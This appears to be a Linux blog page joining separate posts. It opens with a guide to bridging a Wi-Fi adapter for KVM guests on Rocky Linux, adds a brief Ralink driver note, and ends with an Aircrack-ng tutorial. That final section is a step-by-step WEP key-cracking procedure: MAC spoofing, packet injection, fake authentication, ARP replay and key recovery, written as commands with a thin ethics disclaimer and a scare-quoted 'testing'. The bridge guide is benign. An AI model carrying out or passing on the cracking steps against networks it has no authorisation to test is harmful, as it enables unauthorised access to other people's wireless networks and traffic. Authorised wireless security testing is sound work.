Using Wireless Adapter as KVM Network Bridge (br0 or br1) – Rocky Linux 9.X

They said it couldn't be done, but it can, depending on your wireless adapter card.  I recently bought a Minisforum EM680 Mini PC, and to my surprise, it didn't come with any ethernet ports.  It only has a Wi-Fi PCI-E card in it.  Ok, so that presents a problem, as I wanted to use it as a KVM virtual machine host with bridged networking.  At first, I wasn't able to get this to work, but after finding this post, I got it working!  If your wireless adapter supports 4addr (WDS mode), you can get it working as you normally would when using an ethernet port.  Here's how.

Step 1:  Connect to your desired wireless network normally post installation of Rocky Linux 9.

Step 2:  Create your network bridge configurations as you normally would (not specified in this guide).  My script creates br0 (for use at datacenters with static IPs) and br1 (a general DHCP bridge). 

Step 3:  Enable 4addr for your adapter.

Get the name of your wireless device by running the following command:

ip a

Mine happens to be named wlp1s0. Yours could be different. Make a note of the name of your connected wireless adapter and use it in the below scripts:

sudo nano /etc/systemd/system/4addr.service 

Add the following contents to this file:

[Unit]
Description=wlan-4addr
Wants=network.target
Before=network.target systemd-networkd.service
BindsTo=sys-subsystem-net-devices-wlp1s0.device
After=sys-subsystem-net-devices-wlp1s0.device

[Service]
Type=oneshot
ExecStart=/usr/sbin/iw dev wlp1s0 set 4addr on
RemainAfterExit=yes

[Install]
WantedBy=multi-user.target

Save and exit.

Enable the service at boot:

sudo systemctl enable 4addr.service 

Step 4:  Reboot

Step 5:  Check that 4addr is on and working

iw dev wlp1s0 info

You should see something like:

4addr: on 

At the end of the output. 

Step 6:  Configure your wireless adapter to be controlled by your desired network bridge.  In my case, I wanted my wireless adapter to be a part of br1 (my general DHCP bridge).  To do this, I edited the associated .nmconnection file in the /etc/NetworkManager/system-connections directory.  The name of the .nmconnection file will be the wireless SSID you're connected to.  So, for example, if your SSID is test, it will be named test.nmconnection.

Add the controller and port-type configuration lines as shown in the below sample configuration.  My .nmconnection configuration looks like this (SSID and passwords removed):

[connection]
id=cool
uuid=015a8f8f-5440-40b5-8caf-e6ff3f9d63e1
type=wifi
interface-name=wlp1s0
controller=br1
port-type=bridge

[wifi]
mode=infrastructure
ssid={WIFI_SSID_HERE}

[wifi-security]
auth-alg=open
key-mgmt=wpa-psk
psk={WIFI_PASSWORD_HERE}

[bridge-port]

Save your changes.

My ifcfg-br1 bridge configuration file in the /etc/sysconfig/network-scripts directory looks like this:

TYPE=Bridge
BOOTPROTO=dhcp
DEVICE=br1
ONBOOT=yes
ZONE=public

Step 7:  Reboot

KVM guests using br1 and the default NAT interface (managed by QEMU and KVM) will work just fine via your wireless device now!

Problems Compiling the Ralink Wireless N Driver

If you receive a make error 2 while compiling the ralink drivers, try this fix. This applies to newer kernel versions.

 

Installing and Using Aircrack-ng

The following guide has been written to help you install and configure Aircrack-ng. It also includes a step by step guide which will help you crack wireless network WEP encryption. This guide should only be used for ethical purposes.

Installation:

Open a new terminal and use the following command to install aircrack-ng:

sudo apt-get install aircrack-ng

Ubuntu will now download and automatically install aircrack-ng.

Compat-Wireless Channel -1 Problem:

Newer versions of Ubuntu 10.04 and up have a problem configuring wireless monitoring devices to listen on a particular wireless channel.  In fact, when attempting to create a wireless device in monitor mode, you will see that the channel is stuck on -1 [an invalid wireless channel number].  This is due to a bug in the packaged compat-wireless drivers built into the kernel of Ubuntu.  The solution is to download, compile, and install the latest compat-wireless driver by using this guide:

Open a new terminal, and use this script:

wget http://www.orbit-lab.org/kernel/compat-wireless-3-stable/v3.3/compat-wireless-3.3-rc6-1.tar.bz2
tar -jxf compat-wireless-3.3-rc6-1.tar.bz2
cd compat-wireless-3.3-rc6-1
wget http://patches.aircrack-ng.org/mac80211.compat08082009.wl_frag+ack_v1.patch
patch -p1 < mac80211.compat08082009.wl_frag+ack_v1.patch
wget http://patches.aircrack-ng.org/channel-negative-one-maxim.patch
patch ./net/wireless/chan.c channel-negative-one-maxim.patch
nano scripts/update-initramfs
#*** FIND LINE 13: KLIB=/lib/modules/2.6.31-wl/build
#*** REPLACE WITH: KLIB=/lib/modules/$(uname -r)/build
#*** Example: KLIB=/lib/modules/3.1.0/build
make
sudo make install
sudo make wlunload

To find the value for $(uname -r), open a new terminal and type:

uname -r

Use the value you receive for the reference in the above code

Restart your linux machine.

Testing WEP Networks

Stop Conflicting Services:

Open a new terminal and run the following commands:

sudo service network-manager stop
sudo service avahi-daemon stop
sudo service upstart-udev-bridge stop

Retrieve Wireless Devices List:

In a terminal, type the following command:

iwconfig

Now List / Scan All Networks:

Run the following command in the same terminal:

sudo airodump-ng [WIRELESS_DEVICE_NAME_HERE Example: wlan2]

Example:

sudo airodump-ng wlan2

When you're finished, press ctrl+c to stop the scanning process. Save the entire line of information for the network you wish to "test"

Create your monitoring device:

In the same terminal, run this command:

sudo airmon-ng start [WIRELESS_DEVICE_NAME_HERE Example: wlan2] [channel number of wireless access point you want to break]

Example:

sudo airmon-ng start wlan2 11

The above line should create a listening interface on your wireless adapter. Typically, in ubuntu, this is mon0

Change your adapter's MAC address on the listening interface:

Run the following command in the same terminal to change your MAC address:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=[FAKE_MAC_LIKE AA:22:11:11:11:11]
sudo ifconfig mon0 up

Example:

sudo ifconfig mon0 down
sudo macchanger mon0 --mac=AA:22:11:11:11:11
sudo ifconfig mon0 up

Test Wireless Injection:

Start "testing" the desired access point by running these commands:

In the same terminal, do:

sudo aireplay-ng -9 -e [WIRELESS_NETWORK_NAME] -a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] mon0

Example:

sudo aireplay-ng -9 -e test -a 00:AE:6B:61:67:F2 mon0

Flags:

-9 means injection test
-e name species wireless network name for test
-a access point MAC address
mon0 is the wireless interface

You can retrieve all of the flag information you need from the output you received by listing networks.

If you receive a message stating "injection is working!" run this command in the same terminal:

sudo airodump-ng -c [ACCESS_POINT_WIRELESS_CHANNEL] --bssid [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -w [CAPTURE_FILE_NAME] mon0

Example:

sudo airodump-ng -c 11 --bssid 00:AE:6B:61:67:F2 -w output mon0

Flags:

-c 11 is the channel for the wireless network
--bssid [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING]
 -w [CAPTURE_FILE_NAME]

Open a New Terminal and Run This:

sudo aireplay-ng -1 0 -e [WIRELESS_NETWORK_NAME] -a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -h [YOUR_FAKED_MAC_ADDRESS_FOR_INTERFACE] mon0

Example:

sudo aireplay-ng -1 0 -e test -a 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Flags:

-1 means fake authentication
0 resassociation timing in seconds
-e [WIRELESS_NETWORK_NAME]
-a [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING]
-h [YOUR_FAKED_MAC_ADDRESS_FOR_INTERFACE]

You should receive a message stating "Authentication Successful"

Open a New Terminal and Run:

sudo aireplay-ng -3 -b [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] -h [FAKED_ADAPTER_MAC_ADDRESS] mon0

Example:

sudo aireplay-ng -3 -b 00:AE:6B:61:67:F2 -h AA:22:11:11:11:11 mon0

Go back to the terminal that shows the beacons scanning information. Under #/s column, when it reaches over 10000, do this:

Open a New Terminal

sudo aircrack-ng -b [MAC_ADDRESS_OF_ACCESS_POINT_FOR_TESTING] [CAPTURE_FILE_NAME]*.cap

Example:

sudo aircrack-ng -b 00:AE:6B:61:67:F2 output*.cap

You should receive the key.

Sources:

HackAVision Aircrack WEP / WPA / WPA2 Cracking Guide

Aircrack-ng WEP Cracking Guide